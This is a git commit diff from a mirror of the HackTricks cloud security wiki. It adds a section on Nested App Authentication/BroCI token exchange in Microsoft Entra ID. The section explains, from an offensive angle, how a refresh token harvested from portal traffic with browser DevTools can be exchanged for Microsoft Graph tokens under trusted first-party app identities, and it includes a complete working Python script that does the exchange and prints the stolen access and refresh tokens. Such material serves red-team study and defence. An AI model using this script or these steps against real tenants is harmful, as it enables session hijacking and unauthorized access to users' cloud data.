mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
f
This commit is contained in:
@@ -208,6 +208,334 @@ microsoft_office_bearer_tokens_for_graph_api = (
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
|
||||
|
||||
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
|
||||
|
||||
### Goal and purpose
|
||||
|
||||
The goal of BroCI is to reuse a valid user session from a broker-capable app chain and request tokens for another trusted app/resource pair without running a new full interactive flow each time.
|
||||
|
||||
From an offensive perspective, this matters because:
|
||||
|
||||
- It can unlock pre-consented first-party app paths that are not accessible with standard refresh exchanges.
|
||||
- It can return access tokens for high-value APIs (for example, Microsoft Graph) under app identities with broad delegated permissions.
|
||||
- It expands post-authentication token pivoting opportunities beyond classic FOCI client switching.
|
||||
|
||||
What changes in a NAA/BroCI refresh token is not the visible token format, but the **issuance context** and broker-related metadata that Microsoft validates during brokered refresh operations.
|
||||
|
||||
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
|
||||
|
||||
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
|
||||
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
|
||||
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
|
||||
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
|
||||
- You need a refresh token already issued by a compatible brokered flow.
|
||||
|
||||
### Mental model
|
||||
|
||||
Think of BroCI as:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
If any part of that broker chain does not match, the exchange fails.
|
||||
|
||||
### Where to find a BroCI-valid refresh token
|
||||
|
||||
In authorized testing/lab scenarios, one practical way is browser portal traffic collection:
|
||||
|
||||
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
|
||||
2. Open DevTools -> Network.
|
||||
3. Filter for:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Identify the brokered token response and copy `refresh_token`.
|
||||
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
|
||||
|
||||
### Common errors
|
||||
|
||||
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
|
||||
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
|
||||
|
||||
<details>
|
||||
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Where to find tokens
|
||||
|
||||
From an attackers perspective it's very interesting to know where is it possible to find access and refresh tokens when for example the PC of a victim is compromised:
|
||||
@@ -233,8 +561,7 @@ From an attackers perspective it's very interesting to know where is it possible
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user